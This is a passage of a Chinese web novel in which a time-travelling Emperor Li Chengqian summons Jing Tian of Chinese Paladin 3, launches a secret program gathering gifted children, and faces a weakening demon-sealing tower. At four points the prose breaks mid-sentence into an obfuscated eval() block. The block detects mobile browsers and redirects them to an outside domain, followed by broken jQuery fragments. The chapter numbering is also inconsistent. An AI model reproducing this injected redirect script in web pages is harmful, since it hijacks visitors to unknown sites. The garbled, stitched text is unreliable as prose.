一切,都在朝着李承乾预想的方向,高速发展。 这一日,李承乾正在御书房内,处理着最后的,关于军队改编的文书。 李君羡,这位如今身兼神策军大将军和不良人统帅,权势滔天的新贵,恭敬地站在他的身边,为他研墨。 “陛下,天策府的框架,已经基本搭建完成。” 李绩的奏折上写道,“首批一百万新军,已完成集结。只是,蜀山派来的教官,数量还是太少了。一百万人,只有五百名教官,恐怕……杯水车薪。” 李承乾看着奏折,眉头微皱。 这个问题,他也想到了。 蜀山虽强,但毕竟人数有限。 想要在短时间内,将三百万大军,都训练成修士,光靠蜀山,确实不够。 “传旨给国师清微。” 李承乾沉声说道,“让他,将蜀山的基础修行法门,拓印万份,送到天策府。” 李君羡闻言,心中大为惊叹! “陛下圣明!” 就在这时,一名不良人的番子,快步从殿外走来,单膝跪地。 “启禀陛下,统帅。” “讲。” 李君羡沉声道。 “不良人安插在蜀中各地的暗桩,传来一封密信。信中,提到了一件奇事。” “哦?” 李承乾也来了兴趣,“说来听听。” “是。” 那番子从怀中,取出一份密封的信件,呈了上来。 “据渝州城的暗桩回报,半月之前,渝州城永安当,曾出现一个神秘的红发男子。” “此人,自称‘重楼’,其实力,深不可测。他出现之后,便将一柄名为‘魔剑’的凶器,强行打入了永安当一个名叫景天的伙计体内。” “之后,那名叫景天的伙计,便时常疯疯癫癫,举止怪异。渝州城的百姓,都说他,是中了邪。” “重楼?魔剑?景天?” 李承乾听着这几个熟悉的名字,那双古井无波的眸子,第一次,泛起了一丝真正的,剧烈的波澜。 他猛地从龙椅上站了起来! “你说什么?!” 一股恐怖的帝王威压,不受控制地,从他身上散发出来! 那名不良人番子,瞬间脸色惨白,口喷鲜血,当场就昏**过去。 就连李君羡,也是脸色一白,蹬蹬蹬,连退了好几步,才勉强站稳。 他骇然地看着李承乾,不明白,这封信里的内容,为何会引得陛下,如此失态? 不就是一个江湖术士,装神弄鬼的传闻吗? 李承乾没有理会他们。 他的脑海中,此刻,掀起了滔天巨浪! 仙剑奇侠传三! 景天! 重楼! 魔剑! 这些,不都是他前世,那款游戏里的,人物和剧情吗?! 怎么会…… 怎么会,出现在这个世界?! 难道…… 一个荒谬,但又无比真实的念头,在李承乾的脑海中,疯狂地滋生。 难道,这个世界,不仅仅是他所熟知的,历史上的大唐。 而是一个,融合了无数神话、仙侠传说的,高武世界?! 那…… 那清微道长所说的“天外之魔”,又到底是什么? 是仙剑三里的,邪剑仙? 还是…… 比那更恐怖的,未知的存在? 无数的线索,在李承乾的脑中,飞快地串联。 他忽然明白了。 他明白了,为什么这个世界的“道”,会如此的显化。 他明白了,为什么会有蜀山,会有锁妖塔。 也明白了,为什么,自己会拥有,如此不讲道理的,霸道的力量。 因为,这个世界的规则,从一开始,就和纯粹的历史,不一样! “有意思……” “真是有意思……” 良久,李承乾缓缓地,坐回了龙椅上。 他眼中的震惊,渐渐退去,取而代之的,是一种前所未有的,兴奋与战意! 原本,他还觉得,自己要面对的,只是一个被封印了万古,力量十不存一的天妖皇。 现在看来,这个世界的“水”,比他想象的,要深得多! 但,那又如何? 他的道,是战天之道! 敌人越强,他只会,变得更强! “李君羡。” “臣……臣在。” 李君羡战战兢兢地应道。 “传旨。” “命,不良人,不惜一切代价,将那个叫景天的伙计,从渝州城,给孤……‘请’到长安来!” 李承乾的眼中,闪烁着骇人的精光。 “孤要亲自,见一见,这位未来的……救世主!” 午后的阳光懒洋洋地洒在柜台上,将算盘珠子照得温润油亮。 景天正趴在柜台后面,手里拿着一块鸡毛掸子,有一下没一下地扫着灰,嘴里还哼着不成调的歌谣。 自从半个月前,那个叫“重楼”的红毛怪人莫名其妙地出现,又莫名其妙地消失后,他的生活就变得一团糟。 身体里好像多了个不属于自己的东西,时常让他心惊肉跳,夜里更是噩梦连连,总梦见自己在一片尸山血海中挥舞着一柄凶剑。 “唉,真是流年不利……” 景天愁眉苦脸地叹了口气,决定偷个懒,趴着再睡一会儿。 “喂!你这个懒鬼!又在偷懒!” 一声清脆如银铃,却又带着几分蛮横的娇叱声从门口传来。 不用回头,景天也知道,是那个刁蛮任性的“堂堂唐家大小姐”唐雪见来了。 “大小姐,我这不叫偷懒,叫养精蓄锐。” 景天头也不抬,懒洋洋地回了一句,“再说了,这大下午的,又没什么生意,不睡觉干嘛?” “你!” 唐雪见气鼓鼓地叉着腰,刚要发作,眼角的余光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303802|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却瞥见了当铺外面的异常。 原本喧闹的街道,不知何时,竟变得鸦雀无声。 所有行人和小贩,都像是被施了定身法一般,惊恐地望着同一个方向,纷纷退避到街道两侧,连大气都不敢喘一口。 只见十余名身穿黑色劲装,腰佩制式长刀,脸上戴着青铜面具的男子,正迈着整齐划一的步伐,朝着永安当走来。 他们身上没有寻常官差的痞气,也没有军队的煞气,而是一种更加纯粹,更加冰冷的…… 死亡气息。 仿佛他们不是活人,而是从地狱深处走出的勾魂使者。 为首的一人,没有戴面具,露出一张刀削斧劈般冷硬的脸庞,眼神锐利如鹰。 他只是淡淡地扫视了一眼周围,那无形的压力,便让所有窥探的目光都触电般缩了回去。 “不良人……” 有见多识广的老人,在街角颤抖着吐出了这三个字,随即死死捂住了自己的嘴,生怕被那些恐怖的存在听到。 唐雪见也被这阵仗吓了一跳,她虽然骄纵,却不傻,知道这些人绝对不好惹。 她下意识地后退一步,压低声音对景天说道:“喂,景天,这些人……是来找你的?” “找我?开什么玩笑?” 景天终于抬起了头,睡眼惺忪地朝外看去,当他看到那群黑衣人径直走进当铺时,瞌睡虫瞬间跑得无影无踪。 “我……我可没犯法啊!最多就是当东西的时候,多抽了点利钱……” 景天吓得脸色发白,手脚都不知道该往哪里放。 为首的那名不良人统领,没有理会两人的惊慌失措。 他的目光如同利剑,在景天身上扫过,随即微微点头,似乎是确认了目标。 他从怀中,缓缓取出一卷明黄色的绸缎。 “奉天承运,皇帝诏曰。” 冰冷而威严的声音,在小小的永安当内响起,每一个字,都仿佛带着千钧之力,砸在景天和唐雪见的心头。 两人瞬间懵了。 皇帝? 圣旨? 他们瞪大了眼睛,如同两只被吓傻的鹌鹑,呆立当场。 那不良人统领没有理会他们的震惊,继续用不带丝毫感情的语调,宣读着那份来自帝国心脏的旨意:“兹有渝州永安当伙计景天,身负异禀,天命所钟。朕心甚慰,欲览其才。特诏景天即刻启程,入京觐见,不得有误!钦此!” “……钦此。” 当最后一个字落下,整个永安当,安静得能听到一根针掉在地上的声音。 景天傻傻地指着自己的鼻子,满脸的难以置信:“我?景天?身负异禀?天命所钟?这位官爷,你们……你们是不是找错人了?” 他就是一个渝州城里普普通通的小伙计,最大的梦想就是发点小财,把永安当盘下来,哪点跟“天命所钟”沾边了? 这玩笑开得也太大了! “本小姐是唐家堡的唐雪见!” 一旁的唐雪见也终于反应了过来,她壮着胆子站了出来,试图用自己的家世来镇住场面,“你们到底是什么人?光天化日之下,竟敢假传圣旨?!” 不良人统领冷漠地看了她一眼,那眼神,就像在看一个不懂事的孩子。 “圣旨真伪,你唐家堡还没资格质疑。” 他将圣旨合上,递到景天面前,语气不容置喙:“景天,接旨吧。” 景天与唐雪见,都震惊了! 第167章 天命在我,何须问天 景天与唐雪见前往大唐长安城的时候。 大唐都城。 长安。 皇宫之中。 御书房内,那股由李承乾失态而迸发出的恐怖威压,还未完全散去。 瘫在地上的内侍总管被人拖了下去,是死是活,无人关心。 袁天罡和李淳风战战兢兢地跪在地上,头埋得低低的,连呼吸都刻意放缓,生怕再引来这位新君的任何一丝不快。 三十年国运,武氏代唐。 这八个字,对任何一个帝王而言,都是足以掀起滔天血浪的诅咒。 可眼前的陛下,在最初的震惊过后,竟然迅速恢复了平静,甚至…… 平静得有些可怕。 他没有追问如何破解,也没有下令将他们这两个“妖言惑众”的臣子拖出去斩了。 他只是坐在那里,手指轻轻敲击着龙椅的扶手,一下,又一下,仿佛在思索着什么。 御书房里安静得可怕,只有那单调的敲击声,如同催命的鼓点,敲在袁天罡和李淳风的心头,让他们备受煎熬。 他们宁愿面对陛下的雷霆之怒,也不愿承受这种未知而深沉的寂静。 因为,这代表着,陛下在思考的事情,已经远远超出了他们的理解范畴。 “武媚娘……” 良久,李承乾的声音,才缓缓响起,打破了这片死寂。 他念着这个名字,语气中听不出任何情绪。 “一个女人,也想夺我李氏的江山?” 他像是自言自语,又像是在问跪在地上的两个人。 袁天罡和李淳风的身体,又是猛地一颤,却不敢接话。 这种事情,他们怎么敢接话? “天机……天机如此,臣等……臣等不敢妄言……” 李淳风的声音都在发抖。 “天机?” 李承乾忽然笑了,那笑声,很轻,却充满了无尽的蔑视与霸道。 “这天下,很快,便再无天机可言。” 他缓缓站起身,走到那巨大的舆图前,目光扫过大唐辽阔的疆域,眼神深邃得如同星空。 “袁天罡,李淳风。” “臣在!” 两人连忙应道。 “朕要你们,立刻去做一件事。” 李承乾的声音,变得冰冷而又坚决,“传朕旨意,以钦天监和不良人的名义,从全国各州府,挑选四岁至八岁的少年儿童,不论男女,不论出身,只要根骨上佳,天资聪颖者,全部秘密送入长安。” “什么?” 这个命令一出,袁天罡和李淳风同时抬起头,脸上写满了无法理解的震惊。 挑选四到八岁的孩子? 还要根骨上佳? 这是要做什么? 难道陛下是要…… 组建一支由孩童组成的军队? 这…… 这也太荒谬了! “陛下,这……这是为何?” 袁天罡大着胆子问道,“挑选如此多的幼童,恐怕会引得民间恐慌,非议四起啊!” “非议?” 李承乾转过身,冷冷地看着他们,“朕的江山,什么时候轮到那些愚夫愚妇来非议了?” 他的目光,如同两把利剑,刺得袁天罡和李淳风不敢对视。 “你们只需要知道,这是朕的旨意,是开元新政之后,最重要的一件事,必须不折不扣地去执行!” 李承乾走到他们面前,居高临下地看着这两个掌管着大唐最神秘力量的臣子。 “你们以为,朕要面对的,只是一个武媚娘吗?” 他的声音里,带着一丝怜悯。 “你们推演出的那点所谓‘天机’,不过是这盘大棋上,最微不足道的一点涟漪罢了。” “朕真正的敌人,是天。” “是那座锁妖塔,是那即将降临的,灭世大劫。” 这番话,再次让袁天罡和李淳风如遭雷击,脑中嗡嗡作响。 锁妖塔? 灭世大劫? 这些只存在于神话传说中的东西,竟然…… 都是真的? 而且,陛下竟然要以一国之力,去对抗天劫?! 他们终于明白,为什么陛下会对“武氏代唐”的预言,如此不屑一顾了。 一个连天都敢战的人,又怎么会在乎一个凡间女人的威胁? “成年人的心思,早已被这世俗的红尘,污染得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307554|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驳杂不堪。他们的信念,他们的忠诚,都建立在利益之上,根基不稳。” 李承乾的声音,在空旷的御书房内回荡,每一个字,都充满了不容置疑的真理。 “而孩童,是一张白纸。他们的忠诚,才是最纯粹的忠诚。他们的信念,才是最坚定的信念。” “朕要将他们,从小培养,传授他们最上乘的**,用整个帝国的资源,去浇灌他们!” “朕要让这大唐未来的子民,人人如龙!” “大劫将至,这腐朽的旧世界,注定要被淘汰。朕,要亲手,为这个世界,种下一批全新的,能够适应新时代的……种子!” “这,便是朕的‘龙种’计划!” 袁天罡和李淳风,已经彻底被李承乾这宏伟而又疯狂的计划,震得说不出话来了。 他们看着眼前的年轻帝王,只觉得他不是一个人,而是一个披着人皮的神,或魔。 他的眼界,他的格局,早已超越了凡俗帝王的范畴。 他不是在治理一个国家,他是在…… 创造一个全新的种族! 一个,能够与神魔抗衡的种族! “臣……臣等,遵旨!” 再没有任何犹豫,再没有任何疑问。 袁天罡和李淳风,对着李承乾,重重地,磕了一个响头。 这一次,是发自内心的,最纯粹的,对神明的…… 敬畏与臣服。 他们知道,从今天起,他们将参与到一项,足以改变整个世界历史进程的,伟大的事业之中。 能成为这宏伟蓝图的一颗螺丝钉,是他们此生最大的荣幸。 看着两人领命退下,李承乾重新将目光,投向了窗外。 武媚娘,景天,重楼…… 一个又一个熟悉的名字,在他脑中闪过。 这个世界,比他想象的,要有趣得多。 “既然你们都来了,那就让朕看看,你们这些所谓的‘天命之子’,在这盘棋上,究竟能掀起多大的风浪吧。” 他的嘴角,勾起一抹冰冷的笑意。 “只是,这棋盘,是朕的。” “棋手,也只能是朕一个。” 第168章 李世民求问夫子,太子为何玄武门政变! 武德殿。 这座曾经见证了李世民登上权力巅峰的宫殿,如今,成了囚禁他灵魂的牢笼。 李世民穿着一身明黄色的常服,头发散乱,眼神空洞地坐在软榻上。 自从那天在玄武门前,被那个逆子,用最残酷的方式,揭露了所有的真相,碾碎了他所有的骄傲之后,他就变成了这副模样。 不吃,不喝,不言不语。 像一尊失去了灵魂的泥塑。 长孙皇后在一旁默默垂泪,心疼得无以复加,却又不知道该如何劝慰。 她知道,丈夫的心气,已经彻底被击垮了。 这个曾经顶天立地的男人,这个开创了贞观盛世的千古一帝,再也站不起来了。 然而,今天,这尊泥塑,却动了。 起因,是殿外一个小太监,战战兢兢地通报的一道圣旨。 “陛下有旨,封前太子妃苏氏,为开元皇后,母仪天下。” 这个消息,像是一道最后的惊雷,狠狠地劈在了李世民和长孙皇后的天灵盖上。 苏氏…… 那个被他们废黜,打入冷宫的儿媳妇。 那个被他们认为,是李承乾人生污点的女人。 现在,她成了新朝的皇后。 而自己这个曾经的皇后,却要在这武德殿中,陪着一个废人,了此残生。 长孙皇后的身体,晃了晃,脸色瞬间变得惨白如纸。 而软榻上,那个本已失魂落魄的李世民,在听到这个消息后,那涣散的眼神,骤然收缩! 一口鲜血,猛地喷了出来,染红了身前的衣襟。 随即,他两眼一翻,直挺挺地,倒了下去。 “陛下!” 长孙皇后发出一声凄厉的尖叫,整个武德殿,乱成了一团。 太医来了,灌了参汤,施了金针。 李世民悠悠转醒。 但他醒来之后,却并没有像长孙皇后担心的那样,继续发疯,或者继续沉沦。 他只是静静地躺着,眼神,却不再是之前的空洞。 那里面,多了一些东西。 一种,比杀了他还要难受的,刻骨的**。 那个逆子! 他不仅要夺走他的江山,他还要用这种方式,来羞辱他! 来告诉全天下,他李世民过去所做的一切决定,都是错的! 这种精神上的折磨,比任何刀剑加身,都更加痛苦。 但,也正是这种极致的痛苦,反而激起了李世民心中,最后一丝不甘。 他不能就这么倒下。 他不能就这么,让那个逆子,称心如意地,看着自己变成一个废人。 他要搞清楚。 他到底,错在了哪里? 他那所谓的“贞观盛世”,那让他骄傲了一辈子的功业,为什么,在那个逆子的“救世蓝图”面前,会显得那么可笑,那么不堪一击? “朕要出去。” 李世民从软榻上坐了起来,他的声音,沙哑,却带着一种不容置疑的坚定。 “陛下,您要去哪儿?” 长孙皇后担忧地问道。 “朕要去找一个人,问一个问题。” 李世民没有多说,他推开长孙皇后的手,挣扎着站起身,一步一步,向着殿外走去。 武德殿外的禁军,看到太上皇走了出来,都愣住了。 他们不知道该不该拦。 新皇的旨意,是“好生奉养”,却没说,不准他出门。 就在他们犹豫的时候,李世民已经面无表情地,从他们身边,走了过去。 他走出了武德殿,走出了大明宫。 长安城的百姓,看到这个穿着明黄色常服,头发散乱,却依旧带着一丝帝王威仪的男人,都吓得纷纷退避,跪倒在地。 他们认出了,这是曾经的皇帝,如今的太上皇。 李世民没有理会任何人。 他穿过一条又一条街道,最后,来到了气势恢宏的书院之外。 长安书院。 他知道这个地方。 他曾经听密探汇报过,他的那个太子儿子,在被废黜的那几年里,时常会来这里。 他当时只以为,这不过是太子故作姿态,收买人心的把戏,并未放在心上。 可现在,他忽然觉得,这个地方,或许,藏着他想要的答案。 他推开虚掩的院门,走了进去。 院子里,一个身穿粗布麻衣,须发皆白的老者,正坐在老槐树下,专心致志地雕刻着手中的一块木头。 李世民走到他的面前,站定。 因为,他从这个老人的身上,感觉到了一种,他从未在任何人身上,感受过的气息。 那是一种,仿佛与整个天地,都融为了一体的,返璞归真的“道”。 他知道,眼前这个人,就是他要找的人。 曾经,李世民不信夫子之言。 但是现在,他信了! 李承乾的,引路人。 “你来了。” 夫子没有抬头,只是淡淡地开口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308859|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你……知道朕会来?” 李世民的声音,有些干涩。 “该来的,总会来。” 夫子依旧雕刻着手中的木雕。 李世民沉默了。 他那颗帝王的心,在这一刻,竟然感到了一丝紧张。 他深吸一口气,终于问出了那个,在他心中盘桓了许久的问题。 “朕……是不是真的,做错了?” 夫子手中的刻刀,停了下来。 他终于抬起头,那双浑浊的眼睛,看向李世民。 “太上皇,” 夫子的声音,很平静,“你在玄武门,赢得了皇位。” 李世民闻言,身体一震。 这是他一生最大的骄傲,也是他一生最大的心病。 “所以,” 夫子继续说道,“你也必然,会在玄武门,失去皇位。” “因果循环,报应不爽。” “你当年种下了什么样的因,今日,便会结出什么样的果。” 夫子的话,很轻,却像一柄重锤,狠狠地砸在了李世民的心上。 “朕……朕是为了大唐!是为了天下苍生!” 李世民不甘地辩解道,“若不是朕,这天下,早已在建成和元吉的手中,败坏了!” “或许吧。” 夫子点了点头,又摇了摇头。 “但,你用鲜血开启的门,也必然,会引来更多的,想要用鲜血来推开这扇门的人。” “你亲手,为你李氏的江山,定下了一个残酷的规矩。” 夫子看着李世民那张惨白的脸,一字一顿地说道: “从今往后,你李唐的皇位传承,将再无温情可言。” “玄武门之争,谁胜,谁是君王。” “这,就是你为你的子孙后代,选择的,宿命。” 说完,夫子不再看他,重新低下头,继续雕刻着手中的木雕。 仿佛,这天下间,再也没有什么,比他手中的这块木头,更重要。 而李世民,则呆呆地站在原地,如遭雷击。 他明白了。 他彻底明白了。 他错的,不是某一个决定。 他错的,是他的开始。 他用最不讲规矩的方式,得到了皇位。 所以,他的儿子,便用一种更加不讲规矩的方式,从他手中,夺走了皇位。 而未来…… 他不敢再想下去了。 他只觉得,一股彻骨的寒意,从心底,蔓延至全身。 第169章 蜀山弟子,徐长卿下山 就在李世民于长安城中,品尝着自己亲手种下的苦果之时。 远在千里之外的蜀山,却是一片愁云惨淡,山雨欲来。 蜀山之巅,锁妖塔前。 清微道长和五大长老,神情凝重地看着眼前这座通天巨塔。 距离玄武门之变,已经过去了半个多月。 这半个多月里,长安城的消息,如同雪片一般,不断地传到蜀山。 新皇登基,改元开元。 清查佛寺,均分田地。 扩军三百万,建立天策府。 每一条政令,都充满了铁血与霸道,也预示着一场席卷天下的巨大风暴,即将开始。 蜀山,作为新皇敕封的“国教”,也收到了来自长安的圣旨。 清微道长被封为“护国天师”,五大长老也各有封赏。 更重要的是,新皇要求蜀山,派遣精英弟子,入驻天策府,作为教官,向那三百万新军,传授修行之法。 这个要求,让整个蜀山,都为之震动。 修行之法,乃是宗门不传之秘。 如今,却要向凡人军队,大规模地传授? 这在蜀山数千年的历史上,是从未有过的事情。 不少长老和弟子,都对此,心怀抵触。 但清微道长,却力排众议,接下了这道圣旨。 因为他知道,新皇李承乾,没有时间了。 这个世界,也没有时间了。 “师兄,你看!” 凤道人忽然指着锁妖塔,发出一声惊呼。 众人齐齐望去,只见那座漆黑的巨塔之上,那道原本就已经十分骇人的巨大裂痕,此刻,竟然又扩大了几分! 丝丝缕缕的,漆黑如墨的妖气,正从中不断地渗透出来,将周围的天空,都染上了一层不祥的灰色。 而塔的周围,那由数千名蜀山弟子结成的“两仪微尘剑阵”,光芒已经变得十分黯淡。 许多年轻弟子,因为灵力耗尽,已经昏**过去,被同门抬到后方。 剩下还在坚持的,也个个脸色惨白,嘴角挂着血迹,全靠一股意志力在硬撑。 “怎么会这样?!” 一名长老失声惊呼,“这才半个多月,封印的流逝速度,怎么会突然加快了这么多?” 清微道长的脸色,阴沉得能滴出水来。 他知道原因。 李承乾在长安城掀起的腥风血雨,固然是凝聚了磅礴的“人道愿力”,但也同样,催生了无边的杀戮与怨气。 这些负面的力量,虽然大部分被李承乾的帝气所吸收,但依旧有一小部分,逸散于天地之间。 而这些,都成了锁妖塔下那个老怪物,最好的补品! “看来,司剑师叔的担忧,是对的。” 清微道长叹了口气,声音里充满了疲惫与无奈。 “李承乾陛下的路,是一把双刃剑。伤敌一千,自损八百。他每前进一步,锁妖塔的封印,就会跟着,松动一分。” “那我们现在该怎么办?” 凤道人焦急地问道,“难道,就眼睁睁地看着封印崩溃吗?” “我们已经没有退路了。” 清微道长摇了摇头,眼中闪过一丝决绝。 “开弓没有回头箭。从我们选择支持陛下的那一刻起,蜀山的命运,就已经和整个大唐,和这位人皇,紧紧地绑在了一起。” “我们现在唯一能做的,就是相信他。相信他,能在这场与时间的赛跑中,赢得最终的胜利。” 清微道长深吸一口气,他知道,不能再等下去了。 他必须将这里的情况,立刻,毫无保留地,告知那位远在长安的陛下。 让他知道,留给他的时间,到底有多么紧迫。 “来人!” “掌教!” 一名身穿道袍的弟子,迅速来到他的面前。 “去,将长卿叫来。” “是!” 很快,一个身穿蓝色道袍,面容俊朗,气质出尘的年轻道士,来到了清微道长的面前。 他背负一柄古朴长剑,眼神清澈,不染尘埃,整个人,就像一柄磨砺得恰到好处的宝剑,锋芒内敛,却又让人不敢小觑。 他,正是清微道长座下,最得意的弟子。 也是整个蜀山年轻一代中,公认的第一人。 徐长卿。 “师尊。” 徐长卿对着清微道长,躬身行礼。 “长卿,” 清微道长看着自己这个最优秀的弟子,眼中闪过一丝欣慰,也有一丝不忍。 他知道,接下来的任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308860|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务,对这个一心向道,不染凡尘的弟子来说,将是何等的残酷。 “如今,锁妖塔异变加剧,封印随时都有可能崩溃。而长安城,新皇登基,百废待兴,亦是暗流涌动。” 清微道长的声音,变得无比严肃。 “为师现在,命你即刻下山,前往长安。” “你的任务,有两个。” “第一,将锁妖塔的真实情况,原原本本地,禀报给当今陛下。让他知道,我们,还能撑多久。” “第二,” 清微道长顿了顿,眼神变得复杂起来,“陛下之前传来密信,言及渝州城有一位名叫‘景天’的凡人,身负异数,乃是应劫的关键人物之一。他已下令,让不良人将此人‘请’往长安。” “你的第二个任务,就是找到这个景天。暗中观察他,保护他。在必要的时候,引导他。绝不能让他,出现任何意外。” 徐长卿闻言,清澈的眼眸中,闪过一丝疑惑。 一个凡人,竟然会是应劫的关键? 但他没有多问。 作为弟子,他需要做的,只有服从。 “弟子,遵命。” 徐长卿再次躬身一拜。 “去吧。” 清微道长挥了挥手,“此去长安,红尘万丈,人心险恶。你要记住,你是我蜀山弟子,当守本心,斩妖除魔,护佑苍生。” “师尊放心,弟子谨记。” 徐长卿说完,不再犹豫,转身,化作一道剑光,向着山下,疾驰而去。 看着他消失的背影,清微道长久久不语。 他知道,自己这一步棋,或许,会将这个最心爱的弟子,推入一个万劫不复的漩涡。 但,他没得选。 这盘棋,太大了。 大到,每一个人,都身不由己。 第62章长安风云初汇聚 渝州城,永安当。 景天觉得,自己这辈子,可能都没有这么倒霉过。 先是莫名其妙地被一个红毛怪人,往身体里塞了一柄听起来就很不吉利的“魔剑”。 然后,又莫名其妙地,来了一群凶神恶煞的黑衣人,拿着一道听起来更吓人的“圣旨”,说皇帝要见他。 皇帝啊! 那可是天底下最大的人物!